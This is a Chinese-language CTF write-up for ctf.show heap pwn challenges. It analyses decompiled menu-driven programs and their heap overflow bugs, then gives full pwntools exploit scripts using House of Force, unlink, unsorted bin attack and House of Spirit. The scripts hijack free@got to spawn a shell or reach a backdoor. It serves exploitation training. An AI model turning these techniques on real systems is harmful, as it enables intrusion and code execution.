1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 __int64 add () { int i; int v2; char buf[8 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); if ( num > 99 ) { puts ("Full" ); } else { printf ("Please enter the length:" ); read(0 , buf, 8uLL ); v2 = atoi(buf); if ( !v2 ) { puts ("Invaild length" ); return 0LL ; } for ( i = 0 ; i <= 99 ; ++i ) { if ( !*((_QWORD *)&unk_6020A8 + 2 * i) ) { *((_DWORD *)&list + 4 * i) = v2; *((_QWORD *)&unk_6020A8 + 2 * i) = malloc (v2); printf ("Please enter the name:" ); *(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int )read(0 , *((void **)&unk_6020A8 + 2 * i), v2)) = 0 ; ++num; return 0LL ; } } } return 0LL ; }
根据输入的大小来申请对应的内存,作为其存储名字的空间。然后使用read读取输入参数是v2,而read的第三个参数是无符号整数,输入一个负数即可读取任意长度,但是我们需要确保该数值满足REQUEST_OUT_OF_RANGE 的约束,所以这里存在任意长度堆溢出 的漏洞。但即使这样,第一次的时候也比较难以利用,因为初始时候堆的 top chunk 的大小一般是不会很大的。
edit():
修改chunk内容的时候,修改长度可控,没有检查原先chunk的size大小,当修改的size大于add时候的size即可溢出
也存在任意长度堆溢出 的漏洞。
show():
打印对应chunk的内容
free():
该释放的都释放了,也将指针置0了,这里没有利用点。
House of force 的利用思路:
通过house of force,将top chunk的地址移到记录goodbye_messaged的chunk0处
再次申请chunk,我们就能分配到chunk0
将goodbye_message改为后门函数的地址
输入5调用v4[1],即可获得flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context.log_level = "debug" io = remote('pwn.challenge.ctf.show' ,28173 ) elf = ELF('./pwn' ) def add (length,name ): io.recvuntil("choice:" ) io.sendline('2' ) io.recvuntil(':' ) io.sendline(str (length)) io.recvuntil(":" ) io.sendline(name) def edit (idx,length,name ): io.recvuntil("choice:" ) io.sendline('3' ) io.recvuntil(":" ) io.sendline(str (idx)) io.recvuntil(":" ) io.sendline(str (length)) io.recvuntil(':' ) io.sendline(name) def delete (idx ): io.revcuntil("choice:" ) io.sendline("4" ) io.recvuntil(":" ) io.sendline(str (idx)) def show (): io.recvuntil("choice:" ) io.sendline("1" ) def get_flag (): io.recvuntil("choice:" ) io.sendline("5" ) flag = elf.sym['fffffffffffffffffffffffffffffffffflag' ] add(0x30 ,'aaaa' ) payload = 0x30 * 'a' payload += 'a' * 8 + p64(0xffffffffffffffff ) edit(0 ,0x41 ,payload) offset = -(0x60 +0x8 +0xf ) add(offset,'aaaa' ) add(0x10 ,p64(flag) * 2 ) get_flag() io.interactive()
还可以使用Unlink 进行攻击
利用思路
伪造一个空闲 chunk。
通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
覆盖 chunk 0 指针为 free@got 表地址并泄露。
覆盖 free@got 表为 system 函数地址。
申请chunk的内容为“/bin/sh”,调用 free 函数进行get shell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *from LibcSearcher import * context.log_level="debug" io = remote('pwn.challenge.ctf.show' ,28173 ) elf = ELF('./pwn' ) free_got = elf.got['free' ] def add (length,context ): io.recvuntil("Your choice:" ) io.sendline("2" ) io.recvuntil("Please enter the length:" ) io.sendline(str (length)) io.recvuntil("Please enter the name:" ) io.send(context) def edit (idx,length,context ): io.recvuntil("Your choice:" ) io.sendline("3" ) io.recvuntil("Please enter the index:" ) io.sendline(str (idx)) io.recvuntil("Please enter the length of name:" ) io.sendline(str (length)) io.recvuntil("Please enter the new name:" ) io.send(context) def delete (idx ): io.recvuntil("Your choice:" ) io.sendline("4" ) io.recvuntil("Please enter the index:" ) io.sendline(str (idx)) def show (): io.sendlineafter("Your choice:" , "1" ) add(0x40 ,'a' * 8 ) add(0x80 ,'b' * 8 ) add(0x80 ,'c' * 8 ) add(0x20 ,'/bin/sh\x00' ) ptr = 0x6020a8 fd = ptr-0x18 bk = ptr-0x10 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(fd) fake_chunk += p64(bk) fake_chunk += '\x00' *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 ) edit(0 ,len (fake_chunk),fake_chunk) delete(1 ) log.info("free_got:%x" ,hex (free_got)) payload = p64(0 ) + p64(0 ) + p64(0x40 ) + p64(free_got) edit(0 ,len (fake_chunk),payload) show() free = u64(io.recvuntil("\x7f" )[-6 : ].ljust(8 , '\x00' )) log.info("free addr is:%x" ,free) libc = LibcSearcher('free' ,free) libc_base = free - libc.dump('free' ) system = libc_base + libc.dump('system' ) edit(0 ,0x8 ,p64(system)) delete(3 ) io.interactive()
pwn 144 检查保护:
64位程序,开启了Canary和NX,部分开启RELRO
IDA查看main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 8uLL ); v3 = atoi(buf); if ( v3 != 3 ) break ; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 114514 ) { if ( (unsigned __int64)magic <= 114514 ) { puts ("So sad !" ); } else { puts ("Congrt !" ); TaT(); } } else { LABEL_17: puts ("Invalid Choice" ); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
一眼看到114514,然后可以看到TaT是一个后门函数:
magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 114514 并且覆写 magic 使其值大于 114514 ,就能get flag。
看菜单menu():
从菜单来看只有三个功能,没有show,有add(Create) edit(Edit) free(Delete)三个功能,分别跟进对应函数
create_heap():
heaparray 数组:存放 chunk 的首地址。
read_input(heaparray[i], size):把我们输入的内容写入 chunk 中。
且heaparray是存放在bss段上
edit_heap():
可以再次编辑 chunk 的内容,而且可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出
【read_input(heaparray[v1], v2):向 chunk 中写入 v2 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。】
delete_heap():
释放对应 index 的 chunk,并将数组 heaparray 对应的地址置 0。
Unsorted bin Attack
首先通过 unsorted bin attack 覆盖 magic 为一个很大的值,然后然后输入使 v3 等于 114514既可以进入后门函数get flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28227 ) def create_heap (size,content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def edit_heap (idx,size,content ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def delete_heap (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) create_heap(0x80 ,"aaaa" ) create_heap(0x20 ,"bbbb" ) create_heap(0x80 ,"cccc" ) create_heap(0x20 ,"dddd" ) delete_heap(2 ) delete_heap(0 ) magic = 0x6020a0 fd = 0 bk = magic - 0x10 edit_heap(1 ,0x20 +0x20 ,"a" *0x20 + p64(0 ) + p64(0x91 ) + p64(fd) + p64(bk)) create_heap(0x80 ,"eeee" ) io.recvuntil(":" ) io.sendline("114514" ) io.interactive()
unlink攻击:
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28227 ) libc = ELF('/home/bit/libc/64bit/libc-2.23.so' ) heaparray_0 = 0x6020c0 heaparray_1 = 0x6020c8 heaparray_2 = 0x6020d0 heaparray_3 = 0x6020d8 def create_heap (size,content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def edit_heap (idx,size,content ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def delete_heap (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) def get_flag (): io.recvuntil("Your choice :" ) io.sendline('114514' ) create_heap(0x88 ,'aaaa' ) create_heap(0x88 ,'bbbbb' ) create_heap(0x88 ,'ccccc' ) create_heap(0x88 ,'ddddd' ) create_heap(0x88 ,'eeeee' ) fd = heaparray_3 - 0x18 bk = heaparray_3 - 0x10 magic = 0x6020a0 payload = b'\x00' *8 + p64(0x81 ) + p64(fd) + p64(bk) + b'a' *0x60 + p64(0x80 ) + p64(0x90 ) edit_heap(3 ,0x90 ,payload) delete_heap(4 ) edit_heap(3 ,8 ,p64(magic)) edit_heap(0 ,8 ,p64(114515 )) get_flag() io.interactive()
House Of Spirit
创建三个chunk,free chunk2,链入fastbin,edit修改chunk1内容,并且覆盖到free chunk2的fd,fd就可以覆盖为fake chunk.
我们在heaparray附近伪造chunk,为了绕过free fastbins的大小检查,在附近找到0x7f,可以调试找到合适的地方:0x602090 -3,并把这里作fake chunk,size就是0x7f.
创建一个chunk,分配到chunk2
再创建一个chunk3,分配到fakechunk,
edit修改chunk3,覆盖到heaparray,写入free_got
再修改heaparray[0],把free_got改为system_plt的地址
这里需要一个’/bin/sh\x00’,可以在开始修chunk1的时候写入
释放chunk1,”/bin/sh\x00”当作参数传入free(),free已改为system,实际执行system(“/bin/sh\0x00”),然后get shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28227 ) elf = ELF('./pwn' ) libc = ELF('/home/bit/libc/64bit/libc-2.23.so' ) free_got = elf.got['free' ] system = elf.plt['system' ] heaparray_0 = 0x6020c0 heaparray_1 = 0x6020c8 heaparray_2 = 0x6020d0 heaparray_3 = 0x6020d8 def create_heap (size,content ): io.recvuntil("choice :" ) io.sendline("1" ) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def edit_heap (idx,size,content ): io.recvuntil("choice :" ) io.sendline("2" ) io.recvuntil(":" ) io.sendline(str (idx)) io.recvuntil(":" ) io.sendline(str (size)) io.recvuntil(":" ) io.sendline(content) def delete_heap (idx ): io.recvuntil("choice :" ) io.sendline("3" ) io.recvuntil(":" ) io.sendline(str (idx)) create_heap(0x68 ,'aaaa' ) create_heap(0x68 ,'bbbb' ) create_heap(0x68 ,'cccc' ) delete_heap(2 ) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71 ) + p64(0x602090 -3 ) edit_heap(1 ,len (payload),payload) create_heap(0x68 ,'aaaa' ) create_heap(0x68 ,'dddd' ) payload = '\xaa' * 3 + p64(0 ) * 4 + p64(free_got) edit_heap(3 ,len (payload),payload) payload = p64(system) edit_heap(0 ,len (payload),payload) delete_heap(1 ) io.interactive()
看到这也许你会觉得看的一脸懵,实际上在堆利用来说,往往比栈更加复杂多变,攻击方式也更加多样,以上几题仅仅为入门题,解题的方式也只会比我写出来的多。